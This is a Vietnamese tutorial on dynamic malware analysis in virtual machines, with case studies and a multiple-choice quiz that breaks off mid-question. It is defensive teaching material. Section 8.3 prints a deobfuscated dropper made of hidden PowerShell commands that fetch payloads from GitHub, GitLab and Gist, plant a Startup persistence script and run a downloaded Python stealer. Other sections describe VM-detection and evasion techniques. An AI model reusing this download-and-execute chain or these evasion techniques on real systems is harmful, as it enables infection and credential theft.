Bài 2: Phân Tích Mã Độc trong Máy Ảo (Malware Analysis in Virtual Machines)
1. Tổng quan & Mindset trước khi bắt đầu
Trước khi tiến hành phân tích mã độc, người phân tích cần chuẩn bị:
- Mindset đúng đắn: Luôn giả định mẫu mã độc có thể gây hại nếu không được kiểm soát tốt.
- Bảo vệ bản thân: Đảm bảo môi trường phân tích hoàn toàn cô lập, không để mã độc lây lan ra ngoài.
- Ghi chép cẩn thận: Ghi lại mọi hành vi quan sát được trong quá trình phân tích để phục vụ báo cáo và nghiên cứu.
- Cách chạy mã độc an toàn: Chỉ chạy trong môi trường kiểm soát (máy ảo hoặc máy vật lý cách ly mạng).
- Thu thập thông tin: Dùng các công cụ hỗ trợ như IDA Pro, VirusTotal, Any.run, VS Code.
- Kỹ năng lập trình: Hỗ trợ đọc hiểu mã nguồn, script, giải mã obfuscation.
2. Phân tích động (Dynamic Analysis)
Định nghĩa: Dynamic Analysis là kỹ thuật chạy mã độc có chủ đích trong khi theo dõi các hành vi mà nó thực hiện trên hệ thống.
Yêu cầu bắt buộc:
- Phải có môi trường an toàn, cô lập.
- Ngăn không cho mã độc lây lan ra máy thật hoặc mạng production.
- Có thể dùng máy thật cách ly mạng hoàn toàn (air-gapped) hoặc máy ảo.
Tại sao cần Dynamic Analysis?
Static analysis (phân tích tĩnh) đôi khi gặp bế tắc vì:
- Mã độc bị obfuscate (làm rối mã).
- Mã độc bị pack (nén/mã hóa payload).
- Người phân tích đã hết các kỹ thuật tĩnh có thể áp dụng.
Dynamic analysis hiệu quả hơn vì nó cho thấy trực tiếp mã độc làm gì khi chạy thực tế.
3. Môi trường phân tích
3.1 Máy vật lý (Real Machines)
Ưu điểm:
- Một số mã độc phát hiện môi trường máy ảo và không chạy đúng — máy thật tránh được vấn đề này.
Nhược điểm:
- Không có kết nối Internet nên một số chức năng của mã độc có thể không hoạt động.
- Khó xóa sạch mã độc sau phân tích — thường phải cài lại hệ điều hành (re-imaging).
3.2 Máy ảo (Virtual Machines)
Đây là phương pháp phổ biến nhất trong phân tích mã độc.
Ưu điểm:
- Bảo vệ máy host khỏi bị lây nhiễm.
- Dễ dàng khôi phục về trạng thái sạch bằng snapshot.
3.3 Các phần mềm máy ảo phổ biến
| Phần mềm | Ghi chú |
|---|---|
| VMware Player | Miễn phí nhưng giới hạn, không hỗ trợ snapshot |
| VMware Workstation / Fusion | Đầy đủ tính năng, tốt nhất cho phân tích, nhưng trả phí |
| VirtualBox | Miễn phí, hỗ trợ snapshot |
| Hyper-V | Tích hợp sẵn trong Windows |
| Parallels, Xen | Các lựa chọn thay thế khác |
Hệ điều hành guest được dùng: Windows 7/10 vì phần lớn mã độc nhắm vào các phiên bản này.
3.4 Cấu hình mạng trong VMware
Khi phân tích mã độc, cấu hình mạng là yếu tố quan trọng:
- Máy ảo chỉ có thể giao tiếp với máy host.
- Không có kết nối ra Internet.
- An toàn nhất cho phân tích ban đầu.
- Máy ảo có thể nhìn thấy nhau và ra Internet.
- Có một virtual router ở giữa VM và LAN.
- Giảm nguy cơ so với Bridged nhưng vẫn có rủi ro.
- Kết nối VM trực tiếp vào LAN.
- Mã độc có thể gây hại hoặc lây lan ra mạng thật.
- Rủi ro cao: Có thể gửi spam, tham gia DDoS attack.
- Chỉ dùng khi thực sự cần thiết.
[Windows VM] [Linux VM]
| |
+----[Host-only network]----+
|
[Physical Machine (host)]4. Snapshots
Snapshot là tính năng quan trọng nhất khi phân tích mã độc trong máy ảo.
Cách hoạt động:
08:00 → Snapshot Taken → 08:30 Launch Malware → 09:00 Malware Executing → 09:30 Revert to SnapshotQuy trình sử dụng:
- Cài đặt môi trường sạch trong VM.
- Chụp snapshot trước khi chạy mã độc.
- Chạy mã độc và quan sát.
- Sau khi phân tích xong, revert về snapshot sạch.
5. Rủi ro khi dùng VMware để phân tích mã độc
- Mã độc có thể phát hiện môi trường VM và thay đổi hành vi (hoặc ngừng chạy).
- VMware có thể có lỗi (bug): Mã độc có thể làm crash hoặc khai thác VMware.
- Mã độc có thể lây lan hoặc ảnh hưởng đến máy host — không dùng máy host chứa dữ liệu nhạy cảm.
6. Mã độc phát hiện môi trường ảo hóa như thế nào?
Mã độc sử dụng nhiều kỹ thuật để phát hiện VM:
6.1 Kiểm tra Registry
VMware tạo nhiều registry entry trong guest OS. Mã độc query các entry này:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
→ Giá trị: "VMware SCSI Controller"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{...}\0000\ProviderName
→ Giá trị: "VMware, Inc."6.2 Kiểm tra tiến trình và file
Các tiến trình VMware thường chạy nền trong VM:
VMwareService.exeVMwareTray.exe- Các VMware Tools khác
Mã độc dò tìm các tiến trình và file này để xác nhận đang chạy trong VM.
6.3 Kiểm tra địa chỉ MAC
Các địa chỉ MAC bắt đầu bằng các prefix sau thuộc về VMware:
| Prefix MAC | Nhà sản xuất |
|---|---|
00-05-69 | VMware |
00-0C-29 | VMware |
00-1C-14 | VMware |
00-50-56 | VMware |
Ngoài ra, BIOS serial number của VM thường có chuỗi "VMware".
7. Sandbox — Phân tích nhanh
7.1 Sandbox là gì?
Sandbox là phần mềm tất cả trong một (all-in-one) dành cho phân tích động cơ bản. Nó cung cấp:
- Môi trường ảo hóa giả lập các dịch vụ mạng.
- Tự động chạy mã độc và ghi lại hành vi.
- Xuất báo cáo PDF chi tiết về kết quả.
Một số sandbox phổ biến:
- Norman Sandbox
- GFI Sandbox
- Anubis
- Joe Sandbox
- ThreatExpert
- BitBlaze
- Comodo Instant Malware Analysis
7.2 Hạn chế của Sandbox
8. Case Study: Mã độc đánh cắp tài khoản mạng xã hội
Nguồn: vmtien.id.vn
Công cụ sử dụng: Windows 10 (VMWare), IDA Pro, VirusTotal, Any.run, VS Code
8.1 Vector lây nhiễm
Nạn nhân nhận được file .rar qua mạng xã hội với tên giả mạo ảnh sản phẩm:
Photo-images-Mau-San-Pham_2023-07-21-58.rarBên trong chứa file:
Photo-images-Mau-San-Pham_2023-07-21-58.batWindows Defender không phát hiện. Chỉ có Kaspersky và Checkpoint (ZoneAlarm) gắn nhãn là HEUR:Trojan.BAT.Softer.gen.
8.2 Kỹ thuật obfuscation
File .bat sử dụng kỹ thuật gán biến một ký tự để che giấu nội dung:
@echo off
set eQ=y
set MA=0
set RA=D
set JA=$
set dA=t
set VQ=U
set Y=b
set bQ=m
...
setlocal EnableDelayedExpansionSau khi deobfuscate (dùng AI/công cụ hỗ trợ):
@echo off
set enableQuietMode=yes
set mainVariable=0
set randomVariable=D
set joinVariable=$
...8.3 Payload sau khi giải mã
Sau khi decode obfuscation, lệnh thực sự được thực thi:
start chrome https://www.aliexpress.us/
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden ^
Invoke-WebRequest -URI https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start ^
-OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat"
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden ^
Invoke-WebRequest -URI https://gitlab.com/alibaba2023/alibaba/-/raw/632ff.../Document.zip ^
-OutFile C:\\Users\\Public\\Document.zip
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden ^
Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden ^
Invoke-WebRequest -URI https://gist.githubusercontent.com/.../cty16 ^
-OutFile C:\\Users\\Public\\Document\\project.py
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden ^
C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py
start chrome https://www.aliexpress.us/8.4 Phân tích từng bước
Bước 1: Mở tab Chrome giả mạo (AliExpress) để đánh lạc hướng nạn nhân.
Bước 2: Tải mã độc persistence từ GitHub:
https://raw.githubusercontent.com/alibaba20232023/haivcl/main/startLưu vào thư mục Startup của Windows với tên WindowsSecure.bat:
C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.batBước 3: Tải file Document.zip từ GitLab.
Bước 4: Giải nén Document.zip vào C:\Users\Public\Document.
Bước 5: Tải Python script project.py từ GitHub Gist.
Bước 6: Chạy project.py bằng Python được đóng gói sẵn trong zip.
Bước 7: Lại mở tab AliExpress để che giấu hành vi.
9. Case Study: SolarWinds Supply Chain Attack
Nguồn: Google Cloud Threat Intelligence
9.1 Tổng quan
| Thuộc tính | Chi tiết |
|---|---|
| Phát hiện bởi | FireEye |
| Nhóm tấn công | APT29 (Cozy Bear) |
| Loại tấn công | Supply chain attack |
| Trojan | SUNBURST |
| File bị nhiễm | SolarWinds.Orion.Core.BusinessLayer.dll |
| Loader | SolarWinds.BusinessLayerHost.exe |
9.2 Quy trình tấn công
9.3 Kỹ thuật đáng chú ý
Ngủ 2 tuần trước khi hoạt động: Giúp tránh phát hiện trong môi trường sandbox.
Ký số hợp lệ: File DLL có chữ ký số hợp lệ của SolarWinds Worldwide LLC (ký ngày 24/3/2020), qua đó vượt qua kiểm tra whitelist.
Steganography trong HTTP traffic: Dữ liệu lệnh được ẩn trong các chuỗi GUID và HEX trong HTTP response body, trông như XML bình thường liên quan đến .NET assemblies. Lệnh được trích xuất bằng regex:
[{[0-9a-f-]{36}}|[0-9a-f]{32}|[0-9a-f]{16}]Sau đó:
- Lọc ký tự non-hex, join lại.
- HEX decode.
- DWORD đầu tiên = kích thước message thực.
- XOR single-byte với byte đầu tiên của message.
- DEFLATE decompress.
- Byte đầu = JobEngine enum → dispatch lệnh.
Lateral Movement:
- Dùng hostname của nạn nhân để tránh bị phát hiện.
- IP địa chỉ C2 nằm trong cùng quốc gia với nạn nhân.
- Thay thế file tạm thời và dùng Scheduled Task tạm thời.
- Dùng credentials khác nhau.
MITRE ATT&CK Techniques:
T1012 - Query Registry
T1027 - Obfuscated Files or Information
T1057 - Process Discovery
T1070.004 - File Deletion
T1071.001 - Web Protocols
T1071.004 - DNS
T1083 - File and Directory Discovery
T1105 - Ingress Tool Transfer
T1132.001 - Standard Encoding
T1195.002 - Compromise Software Supply Chain
T1518.001 - Security Software Discovery
T1543.003 - Windows Service
T1553.002 - Code Signing
T1568.002 - Domain Generation Algorithms
T1569.002 - Service Execution
T1584 - Compromise Infrastructure10. Case Study: PRC-Nexus Espionage — Tấn công nhắm vào ngoại giao
Nguồn: Google Cloud Threat Intelligence
10.1 Tổng quan chiến dịch
Chiến dịch gián điệp do nhóm UNC6384 (liên quan PRC) thực hiện, nhắm vào các nhà ngoại giao thông qua kỹ thuật Adversary-in-the-Middle (AitM) kết hợp social engineering.
10.2 Attack chain
10.3 Kỹ thuật lừa đảo người dùng
Landing page hoàn toàn trống với thanh vàng và nút “Install Missing Plugins”. Khi nạn nhân tin rằng cần cài plugin mới xem được nội dung trang, họ sẵn sàng bỏ qua cảnh báo bảo mật của Windows để thực thi payload độc hại.
10.4 Chuỗi file và payload
| File | Mô tả | SHA-256 (prefix) |
|---|---|---|
AdobePlugins.exe | STATICPLUGIN | 65c42a7e... |
20250509.bmp (thực ra là MSI) | Chứa 3 file payload | 32998665... |
cnmpaui.exe | Canon IJ Printer Assistant Tool (hợp lệ) | 4ed76fa6... |
cnmpaui.dll | CANONSTAGER | e787f64a... |
cnmplog.dat | RC4 Encrypted SOGU.SEC | cc4db3d8... |
Kỹ thuật DLL side-loading: Dùng file EXE hợp lệ (cnmpaui.exe) để load DLL độc hại (cnmpaui.dll) thay vì DLL gốc của Canon.
10.5 Kỹ thuật evasion của CANONSTAGER
API Hashing + TLS Array:
- API hashing che giấu Windows API nào đang được dùng.
- Địa chỉ hàm sau khi resolve được lưu vào TLS (Thread Local Storage) array thay vì bộ nhớ thông thường.
- TLS array ít bị công cụ bảo mật và analyst chú ý hơn.
push 6501CBE1h ; Hash của GetCurrentDirectoryW
call resolve_api_hash ; Resolve hash → địa chỉ hàm
mov ecx, TlsIndex
mov edx, large fs:2Ch ; Thread Information Block (TIB)
; 2Ch = TLS array
mov [ecx+8], eax ; Lưu function pointer vào offset 0x8 của TLS arrayIndirect Code Execution qua Windows Message Queue:
CANONSTAGER ẩn code launcher trong custom window_procedure và trigger gián tiếp qua Windows message queue:
Lý do dùng cách này:
- Hạ thấp khả năng công cụ bảo mật phát hiện.
- Làm rối control flow bằng cách “giấu” code trong window procedure.
- Kích hoạt bất đồng bộ (asynchronously).
Deploy SOGU.SEC:
- Đọc file
cnmplog.datđã được đóng gói trong MSI. - Giải mã bằng hardcoded 16-byte RC4 key.
- Thực thi payload giải mã qua
EnumSystemGeoIDcallback function.
10.6 Network Indicators
| Loại | IOC |
|---|---|
| Landing Page | https://mediareleaseupdates[.]com/AdobePlugins[.]html |
| STATICPLUGIN | https://mediareleaseupdates[.]com/AdobePlugins[.]exe |
| MSI Package | https://mediareleaseupdates[.]com/20250509[.]bmp |
| Hosting IP | 103.79.120[.]72 |
| C2 IP | 166.88.2[.]90 |
11. Living Off The Land Binaries (LOLBAS)
11.1 Định nghĩa
LOLBAS (Living Off The Land Binaries, Scripts and Libraries) là các file có sẵn trong Windows (Microsoft-signed) nhưng có thể bị lạm dụng để thực hiện hành vi độc hại.
Tiêu chí LOLBAS:
- Là file được Microsoft ký số, native trong Windows.
- Có chức năng “bất ngờ” ngoài mục đích ban đầu.
- Hữu ích cho APT hoặc Red Team.
11.2 Các khả năng bị lạm dụng
- Executing code: Thực thi mã tùy ý.
- Compiling code: Biên dịch mã ngay trên máy nạn nhân.
- File operations: Download, upload, copy file.
- Persistence: Ẩn dữ liệu trong Alternate Data Streams (ADS), thực thi khi logon.
- UAC bypass: Vượt qua User Account Control.
- Log evasion/modification: Xóa hoặc sửa log.
- DLL side-loading/hijacking: Tải DLL độc hại.
11.3 Một số LOLBAS phổ biến
Bitsadmin.exe - Download/upload file qua BITS service
Certutil.exe - Download file, encode/decode base64
Cmd.exe - Thực thi lệnh
Explorer.exe - Thực thi file
Forfiles.exe - Thực thi lệnh qua file iteration
Hh.exe - Thực thi HTML Help file
Msbuild.exe - Build và thực thi .NET code
Rundll32.exe - Thực thi DLL function
Teams.exe - Có thể bị lạm dụng
Xwizard.exe - Thực thi COM object
WMIC.exe - Thực thi lệnh WMITham khảo: lolbas-project.github.io — hiện có 194 binaries được liệt kê.
12. Chạy mã độc — Launching DLLs
12.1 Vấn đề với DLL
File .exe có thể chạy trực tiếp bằng double-click. Nhưng file .dll không thể chạy trực tiếp theo cách thông thường.
12.2 Dùng Rundll32.exe
Windows cung cấp sẵn công cụ Rundll32.exe để load và gọi function từ DLL:
rundll32.exe DLLname, Export argumentsVí dụ: File rip.dll có các exported functions: Install, Uninstall.
rundll32.exe rip.dll, Install12.3 Dùng ordinal thay vì tên
Một số DLL export function theo số thứ tự (ordinal) thay vì tên:
rundll32.exe xyzzy.dll, #512.4 Convert DLL thành EXE
Cũng có thể sửa PE header để chuyển DLL thành EXE, nhưng đây là kỹ thuật nâng cao hơn.
12.5 Tìm exported functions
Dùng các công cụ như:
- Dependency Walker
- PEview
- PE Explorer
Để xem danh sách exported functions của DLL trước khi chạy.
13. Giám sát với Process Monitor (Procmon)
13.1 Procmon là gì?
Process Monitor là công cụ của Sysinternals giám sát theo thời gian thực:
- Registry: Đọc/ghi registry.
- File system: Tạo/đọc/ghi/xóa file.
- Network: Kết nối mạng.
- Process/Thread: Tạo/kết thúc tiến trình.
13.2 Cách sử dụng Procmon trong phân tích mã độc
Quy trình:
- Mở Procmon.
- Set filter trên tên file mã độc.
- Xóa (Clear) tất cả events hiện có.
- Chạy mã độc.
- Quan sát các events được ghi lại.
13.3 Toolbar và các bộ lọc mặc định
| Icon | Chức năng |
|---|---|
| Start/Stop Capture | Bật/tắt ghi nhận events |
| Registry | Lọc hiển thị registry events |
| File system | Lọc hiển thị file system events |
| Network | Lọc hiển thị network events |
| Process | Lọc hiển thị process events |
| Erase | Xóa tất cả events đã ghi |
| Filter | Mở cửa sổ filter |
13.4 Thiết lập Filter
Mở filter: Filter → Filter
Ví dụ filter theo tên process:
Process Name | is | calc.exe | then IncludeVí dụ filter theo operation:
Operation | is | RegSetValue | then IncludeCác filter hữu ích nhất:
Process Name— Chỉ theo dõi mã độc cần phân tích.Operation— Lọc theo loại hành động (RegSetValue, CreateFile, WriteFile…).Detail— Lọc theo chi tiết của operation.
13.5 Ý nghĩa của từng loại hoạt động
| Loại | Ý nghĩa khi phân tích |
|---|---|
| Registry events | Mã độc cài persistence, thay đổi cấu hình hệ thống như thế nào |
| File system events | File nào được tạo, configuration file nào được dùng |
| Process events | Mã độc có spawn thêm process không |
| Network events | Cổng nào đang lắng nghe, kết nối đến đâu |
13.6 Phát hiện DLL Hijacking bằng Procmon
Khi filter Procmon để tìm NAME NOT FOUND trong Path + Operation là Load Image, có thể phát hiện:
- DLL nào đang bị tìm kiếm nhưng không tìm thấy.
- Thứ tự tìm kiếm DLL của Windows (DLL search order).
- Vị trí mà kẻ tấn công đã đặt DLL độc hại để hijack.
14. Xem tiến trình với Process Explorer
14.1 Process Explorer là gì?
Process Explorer (Sysinternals) là phiên bản nâng cao của Task Manager, hiển thị:
| Cột | Ý nghĩa |
|---|---|
| Process | Tên tiến trình |
| PID | Process ID |
| CPU | Mức sử dụng CPU |
| Description | Mô tả tiến trình |
| Company Name | Nhà sản xuất |
Màu sắc phân biệt:
- Hồng: Services
- Xanh dương: Processes thông thường
- Xanh lá: Process vừa được tạo (tạm thời)
- Đỏ: Process vừa kết thúc (tạm thời)
14.2 DLL Mode
Chuyển sang chế độ DLL (View → Lower Pane View → DLLs) để xem tất cả DLL mà một tiến trình đang load. Hữu ích khi tìm DLL độc hại được inject hoặc side-load.
14.3 Properties của tiến trình
Trong Properties của một process có thể xem:
- DEP status: Data Execution Prevention có bật không.
- ASLR status: Address Space Layout Randomization có bật không.
- Verify button: Kiểm tra chữ ký số của file trên disk.
14.4 Phát hiện tài liệu độc hại
Quy trình:
- Mở Process Explorer.
- Mở tài liệu nghi ngờ (PDF, Word…).
- Quan sát xem tài liệu có spawn tiến trình mới không.
- Nếu có, dùng tab Image trong Properties để tìm vị trí file mã độc trên disk.
15. So sánh Registry với Regshot
15.1 Regshot là gì?
Regshot là công cụ open source cho phép chụp và so sánh 2 snapshot của registry.
15.2 Quy trình sử dụng
Bước 1: Mở Regshot → Click "1st Shot" (snapshot trước khi chạy mã độc)
↓
Bước 2: Chạy mã độc, chờ nó thực hiện các thay đổi
↓
Bước 3: Click "2nd Shot" (snapshot sau khi mã độc chạy)
↓
Bước 4: Click "Compare" → Regshot xuất báo cáo so sánhKết quả so sánh cho thấy registry key nào được:
- Thêm mới (Added)
- Xóa đi (Deleted)
- Thay đổi giá trị (Modified)
Tùy chọn scan thêm thư mục file system (ví dụ: C:\Windows) để phát hiện thay đổi file.
16. Giả mạo mạng (Faking a Network)
16.1 ApateDNS
ApateDNS là công cụ redirect DNS resolution về địa chỉ IP tùy chỉnh (mặc định là địa chỉ local). Giúp phân tích domain nào mã độc cố kết nối đến.
16.2 INetSim
INetSim (Internet Services Simulation Suite) chạy trên Linux, giả lập hầu hết các dịch vụ Internet:
| Port | Dịch vụ |
|---|---|
| 53 | DNS |
| 80 | HTTP |
| 443 | HTTPS |
| 21 | FTP |
| 25 | SMTP |
| 110 | POP3 |
| 6667 | IRC |
| … | Nhiều dịch vụ khác |
INetSim trả về response giả cho mọi request, giúp mã độc “nghĩ” rằng nó đang kết nối thành công với C2 server trong khi thực tế tất cả traffic được capture và phân tích.
16.3 Ncat (Netcat)
Ncat (đi kèm với Nmap) có thể lắng nghe trên cổng cụ thể và hiển thị raw HTTP/TCP request mà mã độc gửi đến:
ncat -l 80Sau đó quan sát request headers và body mà mã độc gửi.
16.4 Wireshark
Wireshark là packet sniffer capture toàn bộ network traffic. Trong phân tích mã độc:
- Capture traffic giữa VM mã độc và INetSim.
- Filter theo protocol:
tcp,dns,http… - Follow TCP Stream: Xem toàn bộ nội dung của một phiên kết nối, có thể lưu stream ra file.
16.5 Cấu hình mạng lab đầy đủ
[Windows VM - Mã độc]
IP: 192.168.117.170
DNS: 127.0.0.1
|
| (Host-only network)
|
[Linux VM - INetSim + ApateDNS]
IP: 192.168.117.169
Cung cấp: DNS, HTTP, HTTPS, FTP...Luồng hoạt động:
- Mã độc gửi DNS request → ApateDNS redirect về
192.168.117.169. - Mã độc gửi HTTP GET → INetSim trả về trang web giả.
- Wireshark capture toàn bộ traffic trên interface.
17. Quy trình tổng hợp phân tích động
Chuẩn bị môi trường:
1. Khởi động Windows VM (đã cài Procmon, Process Explorer, Regshot, Wireshark)
2. Khởi động Linux VM với INetSim
3. Cấu hình network: Host-only
4. Set DNS của Windows VM trỏ về IP của Linux VMThực hiện phân tích:
1. Mở Wireshark → Bắt đầu capture
2. Chụp Regshot "1st Shot"
3. Mở Procmon → Set filter theo tên mã độc → Clear events
4. Mở Process Explorer → Quan sát
5. Chạy mã độc
6. Quan sát Process Explorer xem có tiến trình mới không
7. Sau khi mã độc chạy đủ lâu:
- Chụp Regshot "2nd Shot" → Compare
- Lưu log Procmon
- Dừng Wireshark capture → Phân tích trafficCâu hỏi trắc nghiệm
Câu 1. Dynamic Analysis (Phân tích động) khác gì so với Static Analysis?
- A. Dynamic Analysis không cần chạy mã độc, trong khi Static Analysis thì có
- B. Dynamic Analysis chạy mã độc để quan sát hành vi, Static Analysis phân tích mà không thực thi
- C. Dynamic Analysis nhanh hơn và không cần môi trường đặc biệt
- D. Static Analysis chỉ áp dụng cho file .exe, Dynamic Analysis cho file .dll
Câu 2. Lý do chính nào khiến Dynamic Analysis được ưa chuộng hơn Static Analysis trong nhiều trường hợp?
- A. Dynamic Analysis không cần công cụ đặc biệt
- B. Static Analysis không thể phân tích file .dll
- C. Obfuscation và packing có thể khiến Static Analysis bất lực, trong khi Dynamic Analysis trực tiếp quan sát hành vi thực tế
- D. Dynamic Analysis ít tốn thời gian hơn
Câu 3. “Air-gapped machine” trong phân tích mã độc nghĩa là gì?
- A. Máy được làm lạnh để chạy ổn định
- B. Máy vật lý không có kết nối mạng với Internet hoặc các máy khác
- C. Máy chạy trong môi trường cloud
- D. Máy có cài đặt tường lửa mạnh
Câu 4. Nhược điểm lớn nhất của việc dùng máy vật lý (real machine) thay vì máy ảo để phân tích mã độc là gì?
- A. Máy vật lý chạy chậm hơn máy ảo
- B. Máy vật lý không thể cài Windows
- C. Khó xóa sạch mã độc sau phân tích, thường phải cài lại hệ điều hành
- D. Máy vật lý không thể chạy các công cụ phân tích
Câu 5. Ưu điểm của máy vật lý so với máy ảo trong phân tích mã độc là gì?
- A. Máy vật lý có hiệu năng cao hơn
- B. Một số mã độc phát hiện môi trường VM và không chạy đúng — máy vật lý tránh được vấn đề này
- C. Máy vật lý dễ reset hơn
- D. Máy vật lý không bị nhiễm mã độc
Câu 6. VMware Player có giới hạn gì so với VMware Workstation?
- A. VMware Player không hỗ trợ Windows 10
- B. VMware Player không có giao diện đồ họa
- C. VMware Player không hỗ trợ snapshot
- D. VMware Player chỉ chạy được 1 VM cùng lúc
Câu 7. Chế độ mạng nào trong VMware được khuyến nghị nhất khi phân tích mã độc lần đầu?
- A. Bridged networking
- B. NAT networking
- C. Host-only networking
- D. Không cần kết nối mạng
Câu 8. Rủi ro khi dùng Bridged networking cho VM chứa mã độc là gì?
- A. Mã độc không chạy được trong chế độ này
- B. Mã độc có thể lây lan ra mạng LAN thật, gửi spam hoặc tham gia DDoS
- C. Tốc độ mạng quá chậm
- D. VMware sẽ tự động tắt VM
Câu 9. Snapshot trong phân tích mã độc được dùng để làm gì?
- A. Chụp ảnh màn hình để làm bằng chứng
- B. Lưu trạng thái sạch của VM trước khi chạy mã độc, để có thể khôi phục sau khi phân tích
- C. Backup dữ liệu của máy host
- D. Ghi lại traffic mạng
Câu 10. Mã độc thường dùng kỹ thuật nào để phát hiện môi trường VMware qua Registry?
- A. Query các key liên quan đến phần cứng thật của máy
- B. Query các entry như
DriverDesc = VMware SCSI ControllerhoặcProviderName = VMware, Inc. - C. Kiểm tra dung lượng ổ cứng
- D. Kiểm tra số lượng CPU
Câu 11. Prefix MAC address nào KHÔNG thuộc về VMware?
- A.
00-05-69 - B.
00-0C-29 - C.
00-1C-14 - D.
00-1A-2B
Câu 12. Ngoài MAC address và registry, mã độc còn dùng phương pháp nào để phát hiện VMware?
- A. Kiểm tra phiên bản Windows
- B. Kiểm tra BIOS serial number (thường chứa chuỗi “VMware”) và tìm kiếm các tiến trình VMware như VMwareService.exe
- C. Kiểm tra tốc độ CPU
- D. Kiểm tra tên người dùng
Câu 13. Sandbox phân tích mã độc là gì?
- A. Một sandbox để trẻ em chơi
- B. Phần mềm all-in-one cho phân tích động cơ bản, giả lập môi trường và dịch vụ mạng, xuất báo cáo
- C. Một loại firewall đặc biệt
- D. Công cụ để decompile mã độc
Câu 14. Hạn chế nào sau đây KHÔNG phải là hạn chế của sandbox?
- A. Không truyền command-line options cho mã độc
- B. Không giả lập được C2 response để kích hoạt backdoor
- C. Không thể phân tích file .exe
- D. Mã độc có thể phát hiện môi trường sandbox và thay đổi hành vi
Câu 15. Tại sao sandbox không thể phát hiện mã độc ngủ 1 ngày trước khi hoạt động?
- A. Sandbox chỉ chạy trong 1 phút
- B. Sandbox không hỗ trợ Windows timer
- C. Sandbox không chờ đủ lâu; dù có hook hàm Sleep() để rút ngắn, nhưng có nhiều cách khác để “ngủ” mà sandbox không hook được
- D. Mã độc mã hóa timer của nó
Câu 16. Trong case study về mã độc đánh cắp tài khoản mạng xã hội, file độc hại được ngụy trang là loại file gì?
- A. File Word (.docx)
- B. File ảnh sản phẩm được nén (.rar chứa .bat)
- C. File PDF
- D. File Excel
Câu 17. Kỹ thuật obfuscation nào được dùng trong file .bat của case study mã độc đánh cắp tài khoản?
- A. Mã hóa AES toàn bộ file
- B. Gán biến một ký tự ngẫu nhiên để ẩn các chuỗi lệnh thực sự
- C. Dùng steganography ẩn trong ảnh
- D. Nén bằng UPX
Câu 18. Mã độc trong case study đặt file persistence vào đâu để tự động chạy khi đăng nhập Windows?
- A.
C:\Windows\System32\ - B.
C:\Users\Public\Document\ - C. Thư mục Startup:
C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ - D.
C:\ProgramData\
Câu 19. Trong case study mã độc, tại sao mã độc mở tab Chrome đến AliExpress?
- A. Để mua hàng thật cho nạn nhân
- B. Để đánh lạc hướng nạn nhân trong khi các lệnh độc hại chạy ngầm
- C. Để kiểm tra kết nối Internet
- D. Để download thêm mã độc từ AliExpress
Câu 20. SolarWinds Supply Chain Attack được thực hiện bởi nhóm nào?
- A. Lazarus Group
- B. APT41
- C. APT29 (Cozy Bear)
- D. FIN7
Câu 21. Trojan nào được nhúng vào phần mềm SolarWinds Orion?
- A. TEARDROP
- B. BEACON
- C. SUNBURST
- D. SOGU
Câu 22. Tại sao SUNBURST khó bị phát hiện dù được phân phối rộng rãi?
- A. Nó chạy trong kernel mode
- B. Nó ngủ 2 tuần trước khi hoạt động, và file DLL có chữ ký số hợp lệ của SolarWinds
- C. Nó tự xóa sau khi lây nhiễm
- D. Nó chỉ tấn công 1 máy mỗi ngày
Câu 23. SUNBURST ẩn dữ liệu lệnh C2 trong HTTP traffic bằng kỹ thuật nào?
- A. Mã hóa toàn bộ HTTP request
- B. Dùng custom protocol
- C. Steganography — ẩn lệnh trong các chuỗi GUID và HEX trong HTTP response body trông giống XML bình thường
- D. Gửi lệnh qua DNS TXT record
Câu 24. Trong cuộc tấn công SolarWinds, sau khi kết nối C2 thành công, bước tiếp theo là gì?
- A. Xóa toàn bộ dữ liệu trên máy nạn nhân
- B. TEARDROP loader → BEACON (Cobalt Strike) → Lateral Movement
- C. Mã hóa files đòi tiền chuộc
- D. Gửi spam email từ máy nạn nhân
Câu 25. Chiến dịch PRC-Nexus Espionage dùng kỹ thuật tấn công ban đầu nào?
- A. Phishing email với file đính kèm
- B. Adversary-in-the-Middle (AitM) kết hợp social engineering — giả mạo cảnh báo “cần cài plugin”
- C. Brute force SSH
- D. SQL injection vào web server của nạn nhân
Câu 26. CANONSTAGER trong chiến dịch PRC dùng kỹ thuật evasion nào liên quan đến TLS?
- A. Mã hóa traffic bằng TLS 1.3
- B. Lưu địa chỉ hàm đã resolve vào TLS (Thread Local Storage) array thay vì bộ nhớ thông thường để tránh bị phát hiện
- C. Tạo TLS certificate giả để bypass HTTPS inspection
- D. Disable TLS trong Windows
Câu 27. Kỹ thuật DLL side-loading trong chiến dịch PRC hoạt động như thế nào?
- A. Inject DLL vào tiến trình hệ thống
- B. Dùng file EXE hợp lệ (Canon printer tool) để load DLL độc hại (CANONSTAGER) thay vì DLL gốc
- C. Thay thế DLL trong System32
- D. Tạo DLL mới với tên giống DLL hệ thống
Câu 28. CANONSTAGER kích hoạt payload SOGU.SEC bằng cơ chế nào?
- A. Tạo thread trực tiếp để chạy SOGU
- B. Ẩn code trong window procedure và trigger gián tiếp qua Windows message queue (WM_SHOWWINDOW)
- C. Inject SOGU vào tiến trình svchost
- D. Tạo scheduled task để chạy SOGU
Câu 29. LOLBAS là viết tắt của gì và ý nghĩa cốt lõi là gì?
- A. Low-Level Binary Analysis System — phân tích binary cấp thấp
- B. Living Off The Land Binaries, Scripts and Libraries — dùng các công cụ có sẵn hợp lệ trong Windows cho mục đích độc hại
- C. Linux Operating Library Binary Access System
